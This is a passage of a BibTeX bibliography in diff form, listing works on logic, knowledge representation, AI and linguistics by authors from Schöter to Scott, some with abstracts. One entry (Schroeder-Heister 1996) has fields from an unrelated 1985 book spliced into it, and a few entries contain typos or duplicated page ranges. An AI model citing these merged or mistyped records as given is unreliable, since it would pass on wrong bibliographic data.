+ +@article{ schoeter:1996a, + author = {Andreas {Sch\"oter}}, + title = {Evidential Bilattice Logic and Lexical Inference}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {1}, + pages = {65--105}, + topic = {bilattices;relevance-logic;nl-semantics;presupposition;pragmatics;} + } + +@article{ scholes-willis:1990a, + author = {Robert J. Scholes and Brenda J. Willis}, + title = {Prosodic and Syntactic Functions of + Punctuation---A Contribution to the Study of Orality and Literacy}, + journal = {Interchange}, + year = {1990}, + volume = {21}, + number = {3}, + pages = {13--20}, + topic = {punctuation;} + } + +@incollection{ schone-jurafsky:2000a, + author = {Patrick Schone and Daniel Jurafsky}, + title = {Knowledge-Free Induction + of Morphology Using Latent Semantic Analysis}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {67--72}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;computational-morphology;} + } + +@incollection{ schoning:1988a, + author = {Uwe Sch\"oning}, + title = {Complexity Theory and Interactions}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {561--580}, + address = {Oxford}, + topic = {complexity-theory;} + } + +@book{ schoning:1989a, + author = {Uwe Sch\"oning}, + title = {Logic for Computer Scientists}, + publisher = {Birkhäuser,}, + year = {1989}, + address = {Boston}, + ISBN = {0817634533}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@book{ schoning-pruim:1998a, + author = {Uwe Sch\"oning and Randall Pruim}, + title = {Gems of Theoretical Computer Science}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3-540-64425-3}, + xref = {Review: parikh_r:2000a.}, + topic = {theory-of-computation;} + } + +@article{ schoppers:1995a, + author = {Marcel Schoppers}, + title = {The use of Dynamics in an Intelligent Controller for a + Space Faring Rescue Robot}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {175--230}, + acontentnote = {Abstract: + The NASA Extra Vehicular Activity Retriever (EVAR) robot is + being designed to retrieve astronauts or objects that become + detached from the orbiting Space Station. This task requires + that the robot's intelligent controller must rely heavily on + orbital dynamics predictions, without becoming blind to the wide + variety of anomalies that may occur. This article describes the + controller's Universal Plan (U.P.) and some technical lessons + learned from it. The U.P. reacts not to actual current states + but to estimated states, which are obtained using goal-directed + active perception. A modal logic formalization of discrete-event + dynamics allows us to finely analyze and specify the + interactions of knowledge, belief, sensing, acting, and time + within the U.P. The U.P. now acts like a hands-off manager: it + makes regular observations, grants some leeway for unobservable + or ill-modelled processes, has faith in subsystem dynamics, and + takes action only to manipulate subsystems into delivering + desired progress. Most of the time, the appropriate action is to + do nothing. Finally we examine properties of the application + that allowed the U.P. to deliver robust goal achievement despite + misleading state estimates, weak models of relevant processes, + and unpredictable disturbances. + } , + topic = {modal-logic;active-perception;planning-formalisms; + orbital-dynamics;} + } + +@article{ schotch:2000a, + author = {Peter Schotch}, + title = {Skepticism and Epistemic Logic}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {187--198}, + topic = {epistemic-logic;multi-valued-logic;} + } + +@article{ schrag-crawford:1996a, + author = {Robert Schrag and James M Crawford}, + title = {Implicatures and Prime Implicates in Random 3-{SAT}}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {199--222}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;prime-implicants;} + } + +@article{ schroder:1992a, + author = {Joachim Schr\"oder}, + title = {K\"orner's Criterion of Relevance and Analytic Tableaux}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {183--192}, + topic = {relevance-logic;} + } + +@book{ schroeder_r:1996a, + author = {Ralph Schroeder}, + title = {Possible Worlds: The Social Dynamic of Virtual Reality + Technology}, + publisher = {Westview Press}, + year = {1996}, + address = {Boulder}, + ISBN = {0813329558 (hardcover)}, + topic = {virtual-reality;} + } + +@article{ schroederheister:1983a, + author = {Peter Schroeder-Heister}, + title = {The Completeness of Intuitionistic Logic with Respect to + a Validity Concept Based on an Inversion Principle}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {3}, + pages = {359--376}, + topic = {intuitionistic-logic;completeness-theorems;} + } + +@book{ schroederheister:1991a, + editor = {Peter Schroeder-Heister}, + title = {Proceedings of the International Workshop on Extensions of + Logic Programming}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + ISBN = {354053590X}, + topic = {logic-programming;} + } + +@book{ schroederheister:1991b, + editor = {Peter Schroeder-Heister}, + title = {Extensions of Logic Programming: Second International + Workshop}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + ISBN = {354053590X}, + topic = {extensions-of-logic-programming;} + } + +@book{ schroederheister:1996a, + editor = {Peter Schroeder-Heister}, + title = {Extensions of Logic Programming: Proceedings of the + Fifth International Workshop}, + publisher = {Springer-Verlag}, + year = {1996}, + series = {Lecture Notes in Computer Science}, + address = {Berlin}, + number = {1050}, + ISBN = {3540609830}, + title = {Common Discourse Particles in {E}nglish Conversation}, + publisher = {Garland Publishing, Inc.}, + year = {1985}, + address = {New York}, + topic = {discourse-cue-words;} + } + +@article{ schubert:1976a, + author = {Lenhart K. Schubert}, + title = {Extending the Expressive Power of Semantic Networks}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {2}, + pages = {163--198}, + acontentnote = {Abstract: + ``Factual knowledge'' used by natural language processing + systems can be conveniently represented in the form of semantic + networks. Compared to a ``linear'' representation such as that + of the Predicate Calculus however, semantic networks present + special problems with respect to the use of logical connectives, + quantifiers, descriptions, and certain other constructions. + Systematic solutions to these problems will be proposed, in the + form of extensions to a more or less conventional network + notation. Predicate Calculus translations of network + propositions will frequently be given for comparison, to + illustrate the close kinship of the two forms of representation. + } , + topic = {semantic-networks;first-order-logic;kr;} + } + +@article{ schubert:1987a, + author = {Lenhart Schubert}, + title = {Remarks on `A Critique of Pure Reason,' by {D}rew + {M}c{D}ermott}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {210--214}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ schubert-pelletier:1987a, + author = {Lenhart K. Schubert and Francis Jeffrey Pelletier}, + title = {Problems in the Representation of Generics, Plurals, and + Mass Nouns}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {385--451}, + address = {London}, + topic = {nl-semantics;plural;mass-term-semantics;generics;} + } + +@incollection{ schubert-pelletier:1988a, + author = {Lenhart Schubert and Francis Jeffrey Pelletier}, + title = {Generically Speaking, or, Using Discourse Representation + Theory to Interpret Generics}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {193--268}, + address = {Dordrecht}, + topic = {nl-semantics;generics;discourse-representation-theory;pragmatics;} + } + +@incollection{ schubert-hwang:1989a, + author = {Lenhart D. Schubert and Chung-Hee Hwang}, + title = {An Episodic Knowledge Representation for Narrative Text}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {444--458}, + address = {San Mateo, California}, + topic = {events;nl-semantics;narrative-representation;} + } + +@incollection{ schubert:1990a, + author = {Lenhart Schubert}, + title = {Monotonic Solution of the Frame Problem in the Situation + Calculus; an Efficient Method for Worlds With Fully Specified + Actions}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {23--67}, + address = {Dordrecht}, + topic = {kr;frame-problem;foundations-of-planning;action-formalisms; + kr-course;} + } + +@incollection{ schubert:1991a, + author = {Lenhart K. Schubert}, + title = {Semantic Nets are in the Eye of the Beholder}, + booktitle = {Principles of Semantic Networks: Explorations in + the Representation of Knowledge}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {John F. Sowa}, + pages = {95--107}, + address = {San Mateo, California}, + topic = {kr;semantic-nets;kr-course;} + } + +@techreport{ schubert:1992a, + author = {Lenhart K. Schubert}, + title = {Explanation Closure, Action, and the {S}andewall Test + Suite for Reasoning about Change}, + institution = {Computer Science Department, University of Rochester}, + number = {440}, + year = {1992}, + address = {Rochester, New York}, + topic = {frame-problem;causal-reasoning;action-formalisms;} + } + +@incollection{ schubert:1996a, + author = {Lenhart Schubert}, + title = {Implementations and Research: Discussions at the Boundary + (Position Statement)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {661--662}, + address = {San Francisco, California}, + topic = {kr;AI-implementations;kr-course;} + } + +@inproceedings{ schubert:1999a, + author = {Lenhart K. Schubert}, + title = {The Situations We Talk about}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {nl-interpretation;events;Aktionsarten;} + } + +@incollection{ schubert:2000a, + author = {Lenhart K. Schubert}, + title = {The Situations We Talk about}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {407--439}, + address = {Dordrecht}, + topic = {logic-in-AI;nl-interpretation;events;Aktionsarten;} + } + +@book{ schueler:1989a, + author = {G.F. Schueler}, + title = {The Idea of a Reason for Acting: A Philosophical Argument}, + publisher = {E. Mellen Press}, + year = {1989}, + address = {Lewiston, New York}, + ISBN = {0889463441}, + topic = {reasons-for-acting;} + } + +@book{ schueler:1995a, + author = {G.F. Schueler}, + title = {Desire: Its Role in Practical Reason and the Explanation + of Action}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {action;qualitative-utility;desire;practical-reasoning;} + } + +@article{ schukin:1977a, + author = {Yefim Schukin}, + title = {Review of {\it Natural and Artificial Intelligence + (Conceptual Approach)---Materials of the + Fourth International Joint Conference on Artificial + Intelligence} (in {R}ussian), by {V}.{V}. {C}havchanidze et al.}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {2}, + pages = {233--238}, + topic = {AI-general;} + } + +@book{ schuler-namioka:1993a, + editor = {Douglas Schuler and Aki Namioka}, + title = {Participatory Design: Principles and Practices}, + publisher = {Lawrence Erlbaum Associates}, + year = {1993}, + address = {Hillsdale, New Jersey}, + ISBN = {0805809511 (cloth)}, + topic = {software-engineeering;} + } + +@incollection{ schulmann-etal:1998a, + author = {J. Schulmann et al.}, + title = {Parallel Theorem Provers Based on {SETHO}}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ schulte:1999a, + author = {Oliver Schulte}, + title = {The Logic of Reliable and Efficient Inquiry}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {4}, + pages = {399--438}, + topic = {induction;} + } + +@incollection{ schultz-gabbay:1995b, + author = {Klaus U. Schultz Dov M. Gabbay}, + title = {Logic Finite Automata}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {237--285}, + address = {Dordrecht}, + topic = {generalizations-of-finite-state-automata;} + } + +@book{ schultz_kd:1997a, + author = {Klaus-Dieter Schultz}, + title = {Die {T}hese von {C}hurch}, + publisher = {Peter Lang}, + year = {1997}, + address = {Berlin}, + topic = {Church's-thesis;foundations-of-cognition;} + } + +@inproceedings{ schultz_s-hahn_u:2000a, + author = {Stefan Schultz and Udo Hahn}, + title = {Knowledge Engineering by Large-Scale Knowledge + Reuse---Experience from the Medical Domain}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {601--610}, + topic = {knowledge-engineering;knowledge-reuse;medical-AI;} + } + +@incollection{ schultz_s-hahn:2002a, + author = {Stefan Schultz and Udo Hahn}, + title = {Necessary Parts and Wholes in Bio-Ontologies}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {387--394}, + address = {San Francisco, California}, + topic = {kr;mereology;computational-ontology;} + } + +@incollection{ schulz-gabbay:1995a, + author = {Klaus U. Schulz and Dov M. Gabbay}, + title = {Logic Finite Automata}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {237--285}, + address = {Dordrecht}, + topic = {finite-state-automata;} + } + +@incollection{ schumann:1998a, + author = {J. Schumann}, + title = {Introduction (to Part {II}: Automated Deduction + in Software Engineering and Hardware Design )}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;software-engineering;} + } + +@article{ schumm:1975a, + author = {George F. Schumm}, + title = {Wajsberg Normal Forms for {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {357--360}, + topic = {modal-logic;} + } + +@article{ schurtz_g1:1991a, + author = {George Schurtz}, + title = {How Far Can {H}ume's Is-Ought Thesis Be Generalized?}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {1}, + pages = {37--95}, + topic = {deontic-logic;} + } + +@book{ schurtz_g1:1997a, + author = {George Schurtz}, + title = {The Is-Ought Problem: An Investigation in + Philosophical Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {0-7923-4410-3}, + xref = {Review: livingston:2000a}, + topic = {deontic-logic;Hume;} + } + +@book{ schurz:1997a, + author = {Gerhard Schurz}, + title = {The Is-Ought Problem: An Investigation in Philosophical Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {0792344103}, + topic = {deontic-logic;metaethics;} + } + +@article{ schurz_g2:1998a, + author = {Gerhard Schurz}, + title = {Probabilistic Semantics for {D}elgrande's Conditional + Logic and a Counterexample to His Default Logic}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {81--95}, + topic = {default-logic;conditionals;probability-semantics;} + } + +@book{ schutze_ct:1996a, + author = {Carson T. Sch\"utze}, + title = {The Empirical Basis of Linguistics: Grammaticality + Judgments and Linguistic Methodology}, + publisher = {University of Chicago Press}, + year = {1996}, + address = {Chicago, Illinois}, + xref = {Review: keller:1999a.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ schutze_h:1997a, + author = {Hinrich Sch\"utze}, + title = {Ambiguity Resolution in Language + Learning: Computational and Cognitive Models}, + publisher = {{CSLI} Publications}, + year = {1997}, + address = {Stanford University}, + topic = {lexical-disambiguation;L1-language-learning; + disambiguation;ambiguity;} + } + +@article{ schutze_h:1998a, + author = {Heinrich Sch\"utze}, + title = {Automatic Word Sense Discrimination}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {97--123}, + topic = {lexical-disambiguation;} + } + +@article{ schuurmans-southey:2001a, + author = {Dale Schuurmans and Finnegan Southey}, + title = {Local Search Characteristics of Incomplete {SAT} + Procedures}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {2}, + pages = {121--150}, + topic = {search;model-construction;AI-algorithms-analysis;} + } + +@article{ schwalb-dechter_r:1997a, + author = {Eddie Schwalb and Rena Dechter}, + title = {Processing Disjunctions in Temporal Constraint Networks}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {29--61}, + topic = {temporal-reasoning;constraint-satisfaction;kr;krcourse;} + } + +@article{ schwartz_b1:1977a, + author = {Barry Schwartz}, + title = {On Pragmatic Presupposition}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {247--257}, + topic = {pragmatics;presupposition;} + } + +@article{ schwartz_b2:1998a, + author = {Bernhard Schwartz}, + title = {Reduced Conditionals in {G}erman: Event Quantification + and Definiteness}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {3}, + pages = {271--337}, + topic = {conditionals;events;definiteness;German-language;} + } + +@article{ schwartz_dg:1997a, + author = {Daniel G. Scheartz}, + title = {An Abstract, Argumentation-Theoretic Approach to Default + Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {103--167}, + topic = {generalized-quantifiers;synamic-logic;nonmonotonic-logic;} + } + +@article{ schwartz_dg:1997b, + author = {Daniel G. Schwartz}, + title = {Dynamic Reasoning with Qualified Syllogisms}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {103--167}, + acontentnote = {Abstract: + A qualified syllogism is a classical Aristotelean syllogism that + has been ``qualified'' through the use of fuzzy quantifiers, + likelihood modifiers, and usuality modifiers, e.g., ``Most birds + can fly; Tweety is a bird; therefore, it is likely that Tweety + can fly.'' This paper introduces a formal logic Q of such + syllogisms and shows how this may be employed in a system of + nonmonotonic reasoning. In process are defined the notions of + path logic and dynamic reasoning system (DRS). The former is an + adaptation of the conventional formal system which explicitly + portrays reasoning as an activity that takes place in time. The + latter consists of a path logic together with a + multiple-inheritance hierarchy. The hierarchy duplicates some of + the information recorded in the path logic, but additionally + provides an extralogical specificity relation. The system uses + typed predicates to formally distinguish between properties and + kinds of things. The effectiveness of the approach is + demonstrated through analysis of several ``puzzles'' that have + appeared previously in the literature, e.g., Tweety the Bird, + Clyde the Elephant, and Nixon Diamond. It is also outlined how + the DRS framework accommodates other reasoning techniques -- in + particular, predicate circumscription, a ``localized'' version of + default logic, a variant of nonmonotonic logic, and reason + maintenance. } , + topic = {nonmonotonic-reasoning;inheritance-theory;frame-problem; + fuzzy-logic;} + } + +@article{ schwartz_ds:1978a, + author = {David S. Schwartz}, + title = {Causality, Referring, and Proper Names}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {225--233}, + topic = {semantics-of-proper-names;} + } + +@inproceedings{ schwartz_f:1998a, + author = {Fritz Schwartz}, + title = {{ALLTYPES}: An Algebraic Language and {TYPE} System}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {270--283}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {automated-algebra;} + } + +@incollection{ schwartz_g:1992a, + author = {Grigori Schwartz}, + title = {Bounding Introspection in a Nonmonotonic Logic}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {581--590}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;epistemic-logic;} + } + +@incollection{ schwartz_g-truszczynski:1992a, + author = {Grigiri Schwartz and Marek Truszczy\'nski}, + title = {Modal Logic {S4F} and the Minimal Knowledge Paradigm}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {184--198}, + address = {San Francisco}, + topic = {modal-logic;autoepistemic-logic;} + } + +@article{ schwartz_g-truszczynski:1994a, + author = {Grigiri Schwartz and Marek Truszczy\'nski}, + title = {Minimal Knowledge Problem: A New Approach}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {1}, + pages = {113--141}, + acontentnote = {Abstract: + In this paper we propose a new logic of minimal knowledge. Our + approach falls into the general scheme of Shoham's preference + semantics. It stems from an earlier work on logics of minimal + knowledge by Halpern and Moses, Lin and Shoham, and Lifschitz. + The novelty of our work is in a procedure for minimizing + knowledge which we propose in this paper, and which is different + from earlier proposals. We show that our logic preserves most + desirable properties of earlier formalisms and at the same time + avoids some of their drawbacks. In addition to a semantic + definition of our system, we provide its equivalent syntactic + characterization which relates our logic with the nonmonotonic + modal logic S4F and allows us to use in our investigations + standard modal logic techniques. } , + topic = {nonmonotonic-logic;preferred-models;modal-logic;} + } + +@article{ schwartz_j:1988a, + author = {Joel Schwartz}, + title = {Speaking Your Language}, + journal = {{USA}ir Magazine}, + year = {1988}, + pages = {90--93}, + month = {May}, + missinginfo = {number}, + topic = {nlp-technology;} + } + +@article{ schwartz_jt-sharir:1988a, + author = {J.T. Schwartz and M. Sharir}, + title = {A Survey of Motion Planning and Related + Geometric Algorithms}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {157--169}, + topic = {motion-planning;} + } + +@book{ schwartz_n:1996a, + author = {Norbert Schwartz}, + title = {Cognition and Communication: Judgmental Biases, Research + Methods, and the Logic of Conversation}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {Grice;psycholinguistics;} + } + +@article{ schwartz_s:1987a, + author = {S. Schwartz}, + title = {Intuitionism and the Sorites}, + journal = {Analysis}, + year = {1987}, + volume = {47}, + number = {4}, + missinginfo = {pages}, + topic = {sorites-paradox;} + } + +@article{ schwartz_t:1975a, + author = {Thomas Schwartz}, + title = {The Logic of Modifiers}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {361--380}, + topic = {adverbs;adjectives;} + } + +@article{ schwartz_t:1997a, + author = {Thomas Schwartz}, + title = {{\it De Re} Language, {\it De Re} Eliminability, and + the Essential Limits of Both}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {521--544}, + topic = {singular-propositions;quantifying-in-modality;} + } + +@unpublished{ schwartzschild:1993b, + author = {Roger Schwartzschild}, + title = {Against Groups}, + year = {1993}, + note = {Unpublished manuscript, Linguistics Department, University + of Massachusetts.}, + topic = {nl-semantics;plural;} + } + +@article{ schwarz_g:1995a, + author = {Grigori Schwarz}, + title = {In Search of a `True' Logic of Knowledge: The Nonmonotonic + Perspective}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {39--63}, + acontentnote = {Abstract: + Modal logics are currently widely accepted as a suitable tool of + knowledge representation, and the question what logics are + better suited for representing knowledge is of particular + importance. Usually, some axiom list is given, and arguments + are presented justifying that suggested axioms agree with + intuition. The question why the suggested axioms describe all + the desired properties of knowledge remains answered only + partially, by showing that the most obvious and popular + additional axioms would violate the intuition. + We suggest the general paradigm of maximal logics and + demonstrate how it can work for nonmonotonic modal logics. + Technically, we prove that each of the modal logics KD45, SW5, + S4F and S4.2 is the strongest modal logic among the logics + generating the same nonmonotonic logic. These logics have + already found important applications in knowledge + representation, and the obtained results contribute to the + explanation of this fact. } , + topic = {modal-logic;nonmonotonic-logic;} + } + +@article{ schwarz_g:1996a, + author = {Grigori Schwarz}, + title = {On Embedding Default Logic into {M}oore's Autoepistemic Logic}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {2}, + pages = {349--359}, + topic = {nonmonotonic-logic;default-logic;autoepistemic-logic;} + } + +@article{ schwarzchild:1993a, + author = {Roger Schwartzchild}, + title = {Plurals, Presuppositions, and the Sources of Distributivity}, + journal = {Natural Language Semantics}, + year = {1993--1994}, + volume = {2}, + number = {3}, + pages = {201--248}, + topic = {nl-semantics;plurals;} + } + +@incollection{ schwarze:1979a, + author = {Christoph Schwarze}, + title = {Reparer--Reparieren. A Contrastive Study}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {304--323}, + topic = {lexical-semantics;} + } + +@phdthesis{ schwarzschild:1991a, + author = {Roger Schwarzschild}, + title = {On the Meaning of Definite Plural Noun Phrases}, + school = {University of Massachusetts at Amherst}, + year = {1991}, + address = {Amherst, Massachusetts}, + topic = {nl-semantics;plural;} + } + +@article{ schwarzschild:1992a, + author = {Roger Schwarzschild}, + title = {Types of Plural Individuals}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {6}, + pages = {641--675}, + topic = {nl-semantics;plural;} + } + +@book{ schwarzschild:1996a, + author = {Roger Schwarzschild}, + title = {Pluralities}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {nl-semantics;plural;} + } + +@article{ schwarzschild:1999a, + author = {Roger Schwarzschild}, + title = {Givenness, AvoidF and Other Constraints on the Placement + of Accent}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {2}, + pages = {141--177}, + topic = {intonation;stress;discourse;} + } + +@article{ schwarzschild-wilkinson:2002a, + author = {Roger Schwarzschild and Karina Wilkinson}, + title = {Quantifiers in Comparatives: A Semantics of Degree + Based on Intervals}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {1--41}, + topic = {comparative-constructions;nl-semantics;} + } + +@incollection{ schwayder:1978a, + author = {David Schwayder}, + title = {A Semantics of Utterance}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {244--259}, + address = {Minneapolis}, + topic = {speech-acts;nl-semantics;} + } + +@article{ schweikard-schwarzer:1998a, + author = {Achim Schweikard and Fabian Schwarzer}, + title = {Detecting Geometric Infeasibility}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {139--159}, + topic = {spatial-reasoning;geometrical-reasoning;motion-planning; + assembly;} + } + +@article{ schweitzer:1992a, + author = {Paul Schweitzer}, + title = {A Syntactical Approach to Modality}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {1}, + pages = {1--31}, + topic = {syntactic-attitudes;modal-logic;} + } + +@article{ schweitzer:1993a, + author = {Paul Schweitzer}, + title = {Quantified {Q}uinean {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {6}, + pages = {589--605}, + topic = {quantifying-in-modality;syntactic-attitudes;} + } + +@incollection{ schweizer:1991a, + author = {Paul Schweizer}, + title = {A Metalinguistic Treatment of Epistemic Contexts}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {507--513}, + address = {San Mateo, California}, + topic = {kr;syntactic-attitudes;kr-course;} + } + +@book{ schwichtenberg:1997a, + editor = {Helmut Schwichtenberg}, + title = {Logic of Computation}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540629637}, + topic = {logic-in-cs;} + } + +@incollection{ schwind-risch:1991a, + author = {Camilla B. Schwind and Vincent Risch}, + title = {A Tableau-Based Characterisation for Default Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {310--317}, + address = {Berlin}, + topic = {deault-logic;} + } + +@article{ schwitzgebel:2002a, + author = {Eric Schwitzgebel}, + title = {A Phenomenal, Dispositional Account of Belief}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {249--275}, + topic = {belief;dispositions;} + } + +@article{ scotch-jennings_re1:1980a, + author = {Peter K. Scotch and Raymond E. Jennings}, + title = {Inference and Necessity}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {327--340}, + topic = {modal-logic;} + } + +@incollection{ scotch-jennings_re1:1981a, + author = {Peter K. Scotch and Raymond E. Jennings}, + title = {Non-{K}ripkean Deontic Logic}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {149--162}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@incollection{ scott:1972a, + author = {Dana Scott}, + title = {Semantical Archaeology: A Parable}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {666--674}, + address = {Dordrecht}, + topic = {philsophy-of-logic;} + } + +@book{ scott_ac-etal:1991a, + author = {A. Carlisle Scott and 